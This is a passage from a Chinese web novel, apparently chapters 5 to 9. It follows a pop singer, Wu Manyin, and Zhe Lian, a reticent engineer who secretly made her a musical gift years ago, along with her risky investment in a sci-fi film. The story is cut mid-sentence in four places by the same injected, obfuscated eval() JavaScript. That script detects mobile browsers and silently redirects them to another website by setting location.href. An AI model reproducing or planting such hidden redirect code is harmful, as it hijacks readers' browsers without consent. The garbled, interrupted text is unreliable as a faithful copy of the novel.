得到主人准许,万元三下五除二地把莲花蜡烛的粉色花瓣全部掰光,拆掉塑料盖,露出其下光秃秃的黑色的芯片、播放器和银色的纽扣电池。 礼物的内核就是那么朴实、无华,且枯燥。 歌声没了物理的阻碍,倒是更加清晰明澈了。 正巧万元检查的时候,音频播到了歌尾的那句男声祝福,万元的脸色变得古怪,又有些恍然大悟:“表白啊~” 难怪要废那么大劲都要把音频导出来。 乌曼因抽了抽嘴角,懒得解释了。 姐弟恋是没有前途的,阿门。 不要玷污她和小鬼纯正师生情。 万元八卦归八卦,专业能力还是很在线的,他根据芯片上写的型号上网搜了一下出厂说明书,皱着眉头仔细看了一会儿,说:“这个芯片是单向烧录,没办法读取文件,导不出来的。” “……” 他望着乌曼因忽然失落的神色,小心地把芯片退回去:“要不你拿手机录一下?” “真没办法吗?” “真没办法,”万元解释,“要么就找设备检测芯片每根输出的引脚电平,还原音频文件,再找好点的播放器接上,一通下来效果未必有录音好,还很麻烦。” 洋洋洒洒说了一大堆,乌曼因基本上没听懂,但她看出来他主要是嫌麻烦。 “五千,帮我试一下,成不?” 婉拒的话瞬间在嘴边卡了壳,万元话锋一转:“其实也不是不行,你等我一下,我问问朋友能不能解决。” 没等乌曼因回答,他又拿着芯片一溜烟钻回了里边的工作间。 这敏捷的身姿,看起来比刚才半梦不醒的样子积极多了。 果然金钱的力量不容小觑。 街边的手机修理铺通常都是店面与工作间的结合体,被一道薄薄的帘子隔开,十分逼仄。 乌曼因摸了摸鼻子,到底还是不放心她的芯片,她慢慢地磨蹭到帘子旁边,悄悄探进了一个头。 却见工作间和她想象的很不一样,到处堆叠着不知名的机电设备,但被收拾得很干净,有种工业的美。 麻雀虽小,五脏俱全。 老板万元正在以一种很狗腿的语气询问桌前坐着的一道瘦高身影。 那人背对着乌曼因,她看不到他的脸,只觉得接过芯片的手指很长,骨节分明。 那人从台面上摸索了一下,找到一副银色的机械戴到了耳朵上。 过了一会,乌曼因才意识到那应该是个助听器。 听障人士? 万元看到了她,很好说话地挥挥手招呼她进来。 他向那人介绍:“这就是那位客人。” 然后和乌曼因说:“这是我朋友,技术很好的大牛。” 坐在工作前的青年这才注意到身后有人,他微微侧过脸,抬头望过来。 他应该看清了乌曼因的脸,但同样没有什么表态,视线平淡又寻常地移开。 就像扫过一只普通的花瓶。 昨天是乌曼因的生日,大街小巷到处都是粉丝包下各种大屏海报无人机贴她的大头照,甚至还包了公交和飞机。 搞得好像很火热的样子。 乌曼因叹口气,果然热度都是仅粉圈可见的。 说是国民歌手,到头来上街还是没人认识她。 虽然省了不少麻烦,但也有些小小的失落。 …… 青年坐得很直,穿着宽松的T恤,薄薄苍白的肌肤包裹透着青色血管的手。 单眼皮,眉眼清淡,长相是独特的好看。 明明是走两步就大汗淋漓的粘腻夏天,依然无损他冷感的气质。 很够劲。 技术好不好不清楚,但是这颜值真高啊。 不像个安分的技术宅。 大概是看出乌曼因的不信任,万元连忙说:“他南大毕业的,博士学历,高材生。” 乌曼因摆摆手,解释她没有不信任。 心道她只是被颜值蒙蔽了双眼。 脑子里只想着牵手手。 那双骨骼分明的手牵起来感觉一定很不错,冰凉的触感之后是有力的摩挲,十指交缠间尽是突出的骨节相碰。 扇人巴掌?那是奖励。 …… 乌曼因从帘后钻出来,走到工作台前,打量青年工作的环境。 在她上门之前,青年大概是正在熬夜焊模型,一座半成品潜水艇模型静静地摆在他手边。 还没上色,但已经初见精巧的结构。 原来是个胶佬。 “你叫什么名字?在这里上班吗?”她倒是很自来熟,和在自己家里一样自在。 万元知道青年不怎么喜欢交流,正要热情地帮他介绍自己,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323433|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青年忽然开口了,声音带着些熬夜的疲惫与沙哑,但依然足够抓人耳朵: “我叫折敛。” “哪个she,哪个lian?” 青年拿起笔,在草稿纸的边缘写下自己的名字。 ——折敛。 名字好听,乌曼因很满意,加一分。 后半个问题,万元替他回答了:“折哥不是员工,他是我的房东,偶尔回首都的时候才会过来一趟。” “平常不在首都吗?” “单位在,但是经常加班出差,十二个月有十个月在外地吧。” “巧了,”乌曼因很有共鸣,工作连轴转,忙起来简直要人命,“我也是这样。” 北京有套店面,再加一分。 …… 背后两人不知道为什么非常开心地聊上了。 折敛垂下眼,从脚边纸箱里找了个烧录器把芯片插上,连接上电脑。 由于他把芯片从套装里拆了下来,歌声没了电池支撑,自然而然戛然而止。 乌曼因和万元却被骤然停下的歌声吓了一跳。 乌曼因在那一瞬间脑海里闪过艰难的选项,李藏之的礼物和心选小帅哥谁更重要,小帅哥要是把芯片修坏了,弟弟和爱情之间该如何抉择。 万元想着那五千块飞了。 两人脑袋凑过来,紧盯着折敛操作电脑。 他手指翩跹地在键盘上跳跃,打开了很多窗口,过了一会儿,窗口上实时刷新出引脚的电平线。 虽然还是没有声音,但至少能看出芯片依然是在工作的。 原本在万元嘴里麻烦的操作在折敛手下变得很轻巧,似乎将歌曲完整导出的希望近在眼前。 科幻到像是在变魔法。 隔行如隔山,乌曼因虽然看不懂,但是能感受到进度不错,她搓搓手,学着万元的称呼:“折哥,是不是搞定了?” 折敛苍白的手指压在芯片上,瞥了她一眼。 这一眼不再平淡,他似乎对称呼有点意见,但是最终还是没说什么。 他说:“没那么快。” “明天来拿。” …… 乌曼因回到车上的时候,给真音姐比了个搞定的手势,脑子里却还在想着折敛。 她想起几年前给一部电视剧录ost,剧情介绍说男主是个黑客,括弧被和谐成了网安,总之是个电脑高手。 她闲来无事去追了剧,觉得男主演差了一些意思,但不知道差在那里。 在看到这个青年后,乌曼因终于意识到,原来是差了一点年轻和游刃有余。 年龄不大的青年游刃有余地在自己的领域绽放远超同侪的光彩,本身就带着吸引力。 乌曼因前男友不少,自认是个见一个爱一个的女人。 但是这个男人绝对是她见一个爱一个里面最爱的那个。 6. 两块五 乌曼因离开后,万元望着手机里转账的一千定金乐呵了半天。 半个月租金就这么到手了。 他向折敛感叹:“女明星出手就是大方。” 万元其实认出了乌曼因,毕竟他只是不追星,不是山顶洞人。 线下的女明星感觉比网上的精修图还要好看很多,鼻子是鼻子、眼睛是眼睛的,就是头发毛燥了一点,乱糟糟却很是精神的样子。 那股子高能量的活力,近距离能烫死他们这样的技术宅老鼠人。 装路人还有格外福利,他居然加上了乌曼因微信,多少粉丝都得不到的待遇呢。 万元捧着手机喜滋滋地想。 这是他半夜不睡觉应得的。 同样加上了乌曼因微信的折敛将手机倒扣在桌面上,看不出特别的神色。 万元觉得正常,折敛才是真正的山顶洞人,大概也不认识几个女明星。 自他认识折敛以来,就没见后者跟任何一个女性有过正常沟通。 虽然男性也很少就是了。 疑似要把有限的人生全部投入到无限的事业中,没有那种世俗的欲望。 正当万元觉得折敛要通宵干活、才能不愧对女明星的五千块的时候,折敛把芯片干脆地拔下来、插回了发声套装的底座里。 然后带着它站起身,掀开帘子,径直朝外间店面走去。 万元不明所以地跟着。 折敛走到柜台前,微凉的目光始终锁定在柜台的莲花蜡烛的残骸上,把芯片扔了回去。 算是回归了全尸。 全程都没有说话。像是等有些人走了,就懒得装下去了。 “这些壳子有什么特殊的吗?”万元小心翼翼地问,他总不至于拆坏了零件吧。 折敛没回答。 反而在长久地凝视这堆碎片后,冷不丁问了一个奇怪的问题。 “那首歌听上去怎么样?” 万元想了想,那首歌曲给人的印象蛮深的,于是老实说:“音质有点差,听不太清,节奏还挺好,唱歌的人声音很独特。” 他腿会不由自主地随着音乐开始抖,并在男声一个嘹亮高音下耳朵爽得一激灵。 如果满分是十分的话,他能打9.5分 万元越想越心痒痒:“哥你能不能等会儿再把芯片再插回去,让我查下它叫什么名字,加进我的歌单里。” 折敛瞥了万元一眼:“七月十三号练习曲。” “咦,折哥你怎么知道?” 万元心想这名字真高端,像交响曲。 不对。 万元发觉了违和感。 折哥的态度太奇怪了。 不止是现在,而是从乌曼因找上门之后就一直很古怪。 总是逃避和陌生人类交流的折哥不仅接下了活,而且居然主动接了女明星的话茬。 “哎呦喂,仔细一想,好像声音也有点耳熟……” 有什么谜底感觉远在天边近在眼前。 伴随着瞳孔地震,他的目光渐渐落到了面前坐着的男人身上。 折敛的声音非常独特,因为自幼不常和人说话的关系,他发音很慢,咬字很轻,仿佛飘在云端,早年认识他的时候尤其,现在倒是稍微好些了。 可惜折敛刚刚经历了几乎完全失聪的几个月,直到到佩戴上助听器之前,没有办法通过听觉矫正发音,语言系统一朝回到解放前。 折敛的同事都嘱咐他最好和折敛多说说话,别让他一个人闷着,到时候真成一只蘑菇了。 虽然芯片里的歌声年轻、空灵而缱绻,不似现在带着熬夜带来的沙哑烟嗓,但万元和折敛认识有七八年,经历了他全部变声期的万元依然抓住了一丝熟悉感。 万元CPU烧了一半,精神有些恍惚,他咽了口唾沫。 这可不就是他亲爱的折哥年轻时的声音吗? 折敛没说话,算是默认了。 “所以不用在芯片上浪费时间了,她要的曲子原文件是导不出来的,”折敛拾起一片粉色花瓣,对着刺眼的白炽灯眯起眼,“这个芯片flash不够,只能压缩音频,所以音质才不好,不只是播放器的关系。” 万元瞅瞅莲花蜡烛残骸,再瞅瞅折敛:“不是?折哥,这玩意儿真是你做的啊?” 他现在说不是故意暴力拆卸的还来得及吗? 今天真是玄幻的一天,万元觉得自女明星进门起发生的一切,全都是他交不起房租后冻死在路边的幻想罢了。 究竟是什么力量让折敛这种技术大牛去做创意小礼物? 他从不知道折敛会唱歌,也不知道原来折敛认识乌曼因。 很明显还是会送私人礼物的狂热粉丝。 折哥有小秘密了。 会追女明星了。 送的礼物被偶像珍藏,还被偶像搭话了很爽吧。 呵,男人。 万元心里骤然升起一种“吾家有儿初长成”的心态。 “折哥是什么时候偷偷做的?都不跟我说,伤心了。” “……” “你以为这是昨天我送她的?”折敛问。 难道不是吗?万元的眼神里明明白白这么写着。 “不是生日礼物,只是送她的一首歌而已,”折敛展开手心,粉色的花瓣泛着黄色,仔细看已经老化,“而且也不是昨天送的,是七年前。” 乌曼因离开他的第一年。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323434|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 记忆里曾经北京的冬天是很灰暗的,街上的行人总是穿着黑色的大袄行色匆匆。 男孩穿着破旧但干净的棉袄在店门口徘徊很久。 他有些抽条了,衣服并不合身,显得有些窘迫的滑稽。 犹豫了片刻,最终还是推开那家两元店的玻璃门,热气混着塑料和灰尘的气味扑面而来。 "老板,有没有、能发声的礼物?"他问。 老板娘从柜台后掀起眼皮,领着他走进店里,从狭长的货架上拿出一个八音盒,拧紧发条,叮叮咚咚的旋律在狭小的店里格外清脆:“三十块。” “……还有便宜点的吗?” 老板娘瞥了他一眼,转身从架子上拿下一个水晶球,晃了晃,塑料雪花纷纷扬扬地落在小城堡上,按下按钮就有古典音乐:“十五。” 男孩盯着水晶球里虚假的雪景:“……这不是两元店吗?” 老板娘的脸色沉了下来,不耐烦地挥了挥手,从角落里抽出一支落灰的莲花蜡烛丢在柜台上:“两块五,爱要不要。” 男孩最后还是买了下来。 对他来说,水晶球还是莲花蜡烛都一样,拓扑上都只是壳子包着发声芯片而已,但是乌曼因已经是很火的歌手了,他要把这朵廉价的莲花蜡烛送出去,不太容易。 但是总会有办法的。 麻烦的反而是技术问题。 男孩拿起莲花蜡烛,手指灵活地一翻一翘,莲花芯就被他暴力拆开。 他扫了眼底座上的芯片,估计是厂家自制不认识的杂牌。 他抬起头:“请问这个蜡烛的批发箱子还在吗?” 老板娘本来想赶人出去,但是瘦弱的男孩神情沉静且麻木,站在门边一动不动。骂他就跟骂一块石头似的,既不还嘴,连表情都欠奉。 年纪也就和她孩子差不多大,不像是来找茬的。 她“哼”了一声,嘴里不干不净地钻进库房,灰头土脸给他扔出来了一个批发箱子。 很幸运,纸箱子上印刷着厂家的名字和联系方式,男孩扫了一眼便记住了。 里面还整齐地摆放百八十个莲花蜡烛。 看起来挺滞销的。 难怪老板娘火气那么大。 …… “原来折哥你会唱歌吗?从来没有听你说过。” “不会,”折敛矢口否认,“只是不跑调,不能叫会唱歌。” 像是不想再多说,折敛起身,摇摇晃晃地往楼上走。 今天的夜是熬不下去了,模型可以以后再做,临时抱佛脚多补点觉不知道能不能把黑眼圈送走。 “那这些?” “丢了吧,两块五,也不值钱。” 7. 科幻电影 万元:什么时候来小店拿音频鸭? 乌曼因:不好意思,突然临时有事来不了了T-T 乌曼因:可能要明后天才能过来 万元:理解理解 万元:如果到时候店里没人的话你直接打我视频电话就成,我有些时候要给人上门维修电脑 乌曼因:咦折敛不在吗? 万元:他可能要去医院复查耳朵,不一定在店里 乌曼因:[亲亲.jpg] 乌曼因:我的歌曲是不是已经导出来了鸭? 折敛:嗯。 折敛:你过来了? 乌曼因:没有呢,被母老虎逮住了QAQ今天大概是来不了了呢QAQ 折敛:没事。 乌曼因:你最近什么时候在店里鸭,我过来拿0v0 折敛:都在。 乌曼因:可是老板说你要去医院复查……? 折敛:复查助听器功能而已。 折敛:可以拖几天的,等你来了我再去。 …… 可惜真音姐把处理莲花蜡烛的事情全权交给了乌曼因,不然她要是看了全部聊天记录的话,一定会发出死亡质问: 网络都这么发达了,就一个音频文件而已,不能网上发过来吗? …… 今天的乌曼因,其实既没有工作,也不在进行歌曲创作。 她穿着一身耐脏的黑衣,正在礼物房收拾东西,打算拾掇拾掇清理杂物搬走,然后把这个房子卖了。 整个人灰头土脸的,放下手机坐在杂物堆里发愁。 一刻也来不及为crush的贴心而感动,接下来马上要迎接真音姐的狂风骤雨。 都怪她一时嘴快,在电话里不小心说漏了想要卖房的事,导致真音姐直接杀过来了。 目前正虎视眈眈地站在一旁等着审讯她。 “坦白从宽,抗拒从严,你赚的钱不是足够交解约违约金的吗,为什么忽然要卖房?” 真音姐是一个控制欲很强的老妈子经纪人,乌曼因叹口气,对她这个性子真是又感谢又烦恼。 感谢是因为现代社会很少有人这么掏心掏肺地对别人了,她要是染上赌博、真音姐绝对第一个收了她手机,把她往死里管;苦恼是偷偷摸摸干点私事的时候真不方便。 对乌曼因的经济状况,真音姐可能比她本人还了解,毕竟合约都是真音姐去谈的。 “赚得多花得也多啊,”乌曼因从身旁义乌小商品市场仓库一样的杂物堆里扒拉出一个小提琴盒,试图蒙混过关:“你看这是我从拍卖会上拍的斯特拉迪瓦里……仿制品,花了一百多万刀呢。” 盒子上厚厚的灰尘彰显了它和莲花蜡烛在主人那儿是一个待遇。 真音姐不为所动:“我当然知道,问题是你只去过一次。买了一次之后心疼得要死,说冲动消费要不得,这辈子再也不进拍卖场了。” “……” “作为一个死宅,你今年的最高花费是过年在王者里氪了十个648,除此之外,化妆品是品牌送的、衣服是品牌送的,连车都是品牌送的。” “……” “所以为什么要卖房?”真音姐声音高了点,“你的钱到底哪里去了?” 江真音的担心是有根据的。 和大众印象相反的是,娱乐圈明星手里的钱其实很容易被骗。 公司、律所、品牌方、关系户……谁都有可能盯着明星艺人们手里的钱。 很多人靠着运气和脸赚到了第一桶金的同时,并没有获得合理规划它们的知识和能力水平。 美丽的脸加上空空的大脑,约等于脸上写着“人傻钱多速来”。 钱如流水一般地来,流水一般地去。 比起一般人来说,乌曼因已经非常让人省心了。 她不创业、不买高奢品牌、没亲戚借钱,唯二的大额投资是北京奥运会前买了北京两套房、和冤种小提琴。 房子先不提,那小提琴的制作师前几年忽然声名鹊起,现在做的琴起码要三百万美金起步了,老人家身体不太好,有价无市。 乌曼因甚至选择了卖房子而不是卖小提琴,这让真音姐估算她手上的资金缺口在两千万人民币以上。 问题是乌曼因和凌云的合约签得早,不仅违约金不高,而且随着年份越久越低,到现在只需要赔两百多万就可以了。 她到底是干了什么,去传销窝点了吗? …… 乌曼因知道不给个解释已经混不过去了。 她拍拍屁股上的灰,站起身,胳膊下夹着昂贵的小提琴盒,道:“姐,跟我过来吧,坐下来说。” 她领着真音姐走进对门的家,她自己住的房子,给真音倒了杯茶消消火。 然后以一种“我下楼买了9.9水果”的语气说: “其实我就是投了部电影,投了两千两百万,把手上的现金都投完了。” “……” 真音眼前一黑。 有些人,不搞事则已,一搞就搞个大的。 “什么电影?”居然要这么多钱。 乌曼因也有点不好意思,扭捏地说:“科幻电影。” “……” 你怎么不去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323435|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投资熊出没?那个好歹还有钱赚。 狗熊会说话难道不科幻吗? 真音姐深呼吸,默念不气不气我若气死谁如意:“哪个影视公司?哪个导演?” “上次去音乐节的时候偶然认识的导演,姓范,叫范略,拍摄的票房过亿了呢。” 音乐经纪人真音姐不太了解影视圈,拿出手机上网搜了一下乌曼因说的名字,发现此人身份倒不假,问题是上一次执导的电影是一部青春疼痛校园片,豆瓣评分4.9。 手在颤抖。 “……你终于疯了吗?” 乌曼因就知道她会这么说,只当没听到。 她从茶几上拿起一本厚厚的本子,那是导演送给她的手写剧本影印本,里面有大量范导手绘的分镜图,她很喜欢,这段时间闲下来的时候都会翻看,折了很多角。 剧本的名字叫做《信使》,改编自国内最知名科幻小说家的一篇不知名短篇。 扉页上写着爱因斯坦的一句话:“我们这个世界可以由音乐的音符组成,也可以由数学公式组成。” 乌曼因眼睛明亮。 “姐,我知道多半回不了本。但我想看到我的音乐在科幻电影里活过来。” “这可能是我这辈子唯一一次机会,等到一个对科幻感兴趣的导演哎。” “你钱打了水漂了怎么办?” “那就打水漂了呗,钱赚来就是要花的。”乌曼因无所谓。 真音姐有些迷茫,一向听话的艺人忽然晚年不详,高喊着机会啊理想啊什么的就冲了过来。 “我还没说话呢,”真音姐扶额,“我是怕你被骗。” 直觉系生物乌曼因没觉得自己被骗,她甚至还想再多投点,深怕少了导致导演流产。 乌曼因摸索着打开了小提琴琴盒,沾了一手灰尘,油润古朴的小提琴重见天日,喜滋滋地对真音说:“卖房子不卖小提琴是因为我还要把琴借给剧组,小提琴是剧本里很重要的一个道具,我想总应该用把好点的琴。恰巧我真有。” 就是这琴闲置太久了,需要保养一下才能用。 真音姐本来是在喝茶压火的,听到这话,水差点和积攒下来的不解和困惑一起喷涌而出。 她将目光以一种一言难尽的方式投注过去:“他到底给你下了什么迷魂药?” “我也不想,可是他说他能拍出和音乐结合的科幻片,我很想看嘛。” 真音姐的眼神升级成反诈宣传警官看向诈骗受害者的哀其不幸和看向烂泥扶不上墙的怒其不靠谱。 怎么会有人不长记性,从一个火坑跳到另一个火坑? 8. 贼船 真音姐真把她当涉世未深的青少年,恨铁不成钢地说:“让我来给你好好科普一下圈内的骗钱套路。” “比如一个圈内很有声望的前辈,向你介绍一个项目,说哎我手上有一个只差800万的大项目,一旦做成能翻个三倍。其实他和每个人都这么说,空手套白狼凑出千万上亿的投资额,把表面架子做起来,最后和你说项目黄了,做生意有赢有亏,没办法,自认倒霉。” “你那八百万就血本无归了!你图他利润,他图你本金知道不。” 乌曼因心说她当然知道。 只是乌曼因投资的条件慈善得有点离谱,她甚至没指望有回头钱。 她是冲着电影去的,只要最后导演给她端上来一盘完整成品,质量过得去,她就不会生气。 科幻毕竟小众嘛,赔了也不要紧,她看得很开。 乌曼因见真音姐急得跳脚的样子,活像一只护崽的老母鸡,居然没忍住笑了笑。 “你还笑!等你流落街头了别指望我接济你!” 皇帝不急太监急。 真音姐见她抱着琴盒慢悠悠开始擦灰,始终油盐不进的样子,还是决定靠自己。 知道从乌曼因这里下手行不通,她想来想去只能去找那骗钱导演质问,斩钉截铁地说:“我到时候跟你去会会他!” 彳亍口巴。 乌曼因答应了。 反正也不是什么大事。 …… 真音姐很气愤乌曼因怎么在她眼皮子底下被骗子导演拐走了。 但其实,有时候看对眼就是一瞬间的事,防不胜防。 乌曼因是在某个音乐节的后场第一次认识范略的。 历来拼盘音乐节都会请很多很多的妖魔鬼怪,最离谱的时候她还在邀请名单上见过说相声的。 她在台下懵逼地听了三十分钟相声,严重怀疑自己是不是来错地方了。 或许她应该拿俩快板上去一起唱莲花落才比较合群。 还好这次音乐节只是个普通的草坪音乐节,没整那么多花活,唯一的缺点是后台管理比较松散,乌曼因半天没找到自己的休息区,不小心晃进了堆放乐器的地方。 管理乐器的志愿者就是范略。 实在不相信后场的指示标识,乌曼因选择留下来蹭乐器房的板凳,给助理打了个电话让她来接。 短短这个间隙,两个e人就聊上了,聊得相见恨晚,不知天地为何物。 范略是一个小乐队主唱邵亦的朋友,他说他本职是个导演,和邵亦正准备筹备拍一个关于声音的电影,来当志愿者主要是为了取材。 乌曼因:“哦哦哦轻音少女那种,我懂,我也是乐队出身,很喜欢看。” 范略:“不是,科幻片。” 乌曼因:“?” 这就很稀奇了。 范略递给她看自己已经画了不少的手绘剧本。 扉页的那张纸上,绘制了一架巨大的、结构精巧的倒挂小提琴。 这架小提琴琴身修长优美,只有琴弦古怪,四根琴弦从琴身底部抽出,慢慢合流,变成了三根弦、两根弦、一根弦。 闲着也是闲着,乌曼因随意翻阅了两下。 顿时就被手稿中粗犷而独特的美术风格惊艳到了。 这是一本非常合格的有关音乐和声学的科幻剧本,每张分镜图的周围都写着密密麻麻的文字设定,穿插交错。 不提拍摄科幻电影这件事到底靠不靠谱,起码范略是一个审美很好、业务能力非常纯熟的导演。 “科幻还能有小提琴的剧情吗?” “有啊,”范略笑笑,“科学和艺术是不可分的,爱因斯坦就擅长小提琴。” 这句话有点文艺,让乌曼因对这个十八线导演的印象不错。 也许听上去像骗子与傻瓜的初见故事。 但是说得玄乎点,乌曼因在范略身上看到了一种执拗的、属于理想主义者的光辉。 一通聊天之后,乌曼因非常爽快地答应成为范略电影的音乐顾问。 就是聊high了一不小心忘记了某个人。 表演回来得知自己痛失音乐顾问宝座的邵亦:“???” 他先质问范略:“不是,我们这么多年朋友,就算乌曼因作曲比我知名、唱歌比我好听、基本功比我扎实,你怎么可以随随便便就抛弃我了?” 范略摸摸鼻子,小声说:“她会拉小提琴,你知道小提琴在剧情里面多重要,而且带资入组。” “带多少?” “她说目前可以出至少一千万。” 邵亦倒吸一口冷气,立刻调转枪口,提醒乌曼因:“曼因姐,拍科幻电影基本没什么前途,我拿钱给范略拍电影纯属我脑子抽了,啊不是,我热爱科幻事业,致力于为中国科幻界添砖加瓦,你可别一时间想不开啊。” 他怕乌曼因只是被范略那张嘴说得一时兴起,到时候别拍拍屁股走人,给他们留下一纸诉状和一地鸡毛。 听说明星都是很任性的。 乌曼因确实是个任性的家伙,她不以为意:“我不少朋友花上千万在旅游、豪车、红毯的高奢礼服上。这些在大众价值观里不是失心疯,所以我愿意投资一部电影也不是。” 大家都是豪掷几千万听个自己乐意的响。 都一样。 …… 范略筹备的这部电影《信使》,改编自知名科幻小说作家的一篇短文。 由于原作读者很少,几乎没有人关注这篇短篇的归属,范略几乎一分钱都没有花就从公司那要到了版权。 低调地拿到授权之后,他开始按照自己的想法大刀阔斧地改编了这篇仅有千余字的短文,硬生生地扩充到了一部电影的长度,甚至还骗,啊不,请来了国内知名男演员齐羽生的加盟。 凭借范略的三寸不烂之舌和狗狗眼,齐羽生来到这个剧组后一分钱都没拿过,甚至还往里面倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323436|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴了几百万。 乌曼因都怀疑他遇到了杀猪盘——如果不是她也是其中一员的话就更好了。 很久以后乌曼因才知道。 范略对着她说,我们电影前途很远大,男主演是齐羽生,基本票房稳了。 然后对齐羽生说,我们请到了知名作曲家乌曼因加盟,班底质量肯定没问题,未来可期。 听上去和真音姐介绍的套路很像来着。 …… 《信使》的原文并不复杂,以极其精炼的语言描写了作为时空旅行者的主角与暮年爱因斯坦的相识。 倒数第二次见面,主角赠与爱因斯坦一把小提琴。 最后一次见面,见证了他的死亡。 这并不是时间旅行者的傲慢,而是某种崇拜与关怀。 范略在原文的框架上添加了很多很多内容,制片人邵亦说这些是范略的私货。 “原著说,主角‘还要去三个时代,见五个人,其中有统一场论的创立者’,”范略说,“我们的故事就从这里衍生入手。” 在范略的剧本里,他将《信使》原本的故事改为暗线,添加了一个明线故事和明线男主角——即齐羽生扮演的角色。 他是统一场论的创立者,同时也是一个喜欢掷骰子的野心家。 他的梦想,就是逆转时空,回到过去拯救自己车祸丧生的女儿。 于是电影的故事从女儿沾血的小提琴包开始,穿梭于多维世界的好几条时间线,最后收敛到爱因斯坦演奏未来的小提琴结束。 乌曼因承认,这是一个很吸引人的科幻剧本,她在翻阅第一遍就被深深地吸引住了。 当她问范略需要她做什么的时候。 范略说:“我希望给科幻的剧本增加音乐的温度,有两把小提琴贯穿了剧本,一把是音乐的,一把是宇宙的。” “我想由一个真正了解小提琴的人来赋予灵魂。” 等到乌曼因被忽悠进组之后,她才知道范略的话水分有多大。 什么“赋予灵魂”,范略根本就不认识几个会拉小提琴的人,能逮着一个是一个。 更过分的是,由于剧组演员人数实在不够。 范略得寸进尺:“反正主角也没有多少出场机会,我们也请不起太多人,不如改个性别吧,乌曼因你来演怎么样?” “啊?我?我是女的,原作主角是男的,”乌曼因指着自己,“不是,作者知道你这么魔改吗?” “领会精神就好,”范略表示,“性别是最不重要的东西。” “可我是歌手,不是演员,我没演过戏!” “你没几句台词,你不会演不重要,我会拍就可以,”范略很自信,“唱而优则演,很正常的。” 中国人的个性是很折中的,乌曼因就这么稀里糊涂地成为了主角。 她有点怀疑自己是不是也被范略骗上贼船了,明明刚开始不是说好只需要当个音乐顾问就可以了吗? 9. 科学顾问 乌曼因:今天依然来不了了私密马赛TAT 乌曼因:临时有事要去剧组一趟>WO 狭小阴暗的店铺二层,折敛费力地睁开眼皮,打开振动的手机,眼珠缓慢机械地随着文字移动。 望着“来不了了”四个字,折敛轻嗤一声,将手机扔到看不见的地方。 抓起被子将脑袋盖上。 听力受损后,原来尖锐的世界忽然平静下来。 风、雨、虫子、路过的人,总是困扰他的“沙沙”声消失了。 他比以往更专注,有更多的时间在安静的环境下审视自己。 他感觉到乌曼因的眼神落在他身上是炽热的,饶有兴趣的,她根本就没有隐瞒的意思,正大光明、横冲直撞。 折敛知道,她对他产生了兴趣,像曾经那样。 意外、惊喜、然后顺从。 那为什么她总是不来,还是说,才过了两天,她又厌倦了? 熟悉又茫然的失望淹没了折敛。 她会不会不想见他,也不想要那首歌曲了? 每次都是这样,渐渐地疏离,越来越少的对话,似是而非的安慰,他不知道自己做错了什么。 他做了新的合成器,她不再关注,还笑着和他说她已经买了,很好用。 她参加了歌手大赛,越来越出名,回来得更少了。 乌曼因本来就不属于黄钟县,有更好的老师、更好的平台在向她招手,于是她走得越来越远,到了他看不见的地方。 他没有了用处之后,被弃之如敝履。 无神地躺了一会儿,他的手将被单攥紧,抓出凌厉的折痕。 眼球有几分滞涩,每次转动都要格外耗费力气。眼皮又频繁地抽动,他抬手按住突突跳动的肌肉,指腹下传来细微的痉挛。 不可以。 她不能再丢下他一次。 折敛意识到这样不行,本质无趣的人如果再不装作热烈迎合,只会被厌弃得更早。 乌曼因没有认出他,已经是上天白给他一次机会。 设她在七年后忽然翻出莲花蜡烛的概率为pfind,附近手机修理店总数为N,修理店半夜依然开门工作的概率为popen,选中修理铺后遇到他的可能性P(A|B);还要考虑他每年在店的时间,定义为pz…… 脑子很混乱,但看在这十万分之一到亿分之一的极小概率的份上,他强撑着坐起来回复。 折敛:你不是歌手吗,为什么要去剧组? 乌曼因:果然被你发现了0v0 乌曼因:是我自己投资的科幻电影啦,我可是个爱好广泛的歌手 乌曼因:[自豪.jpg] 折敛:告诉我没有问题吗,不用保密? 乌曼因:不用啊,你会给我贡献票房的吧? 折敛:…… 乌曼因:会的吧会的吧? 折敛:会。 这么多年,他还是拿她没办法。 …… “曼姐早上好。” 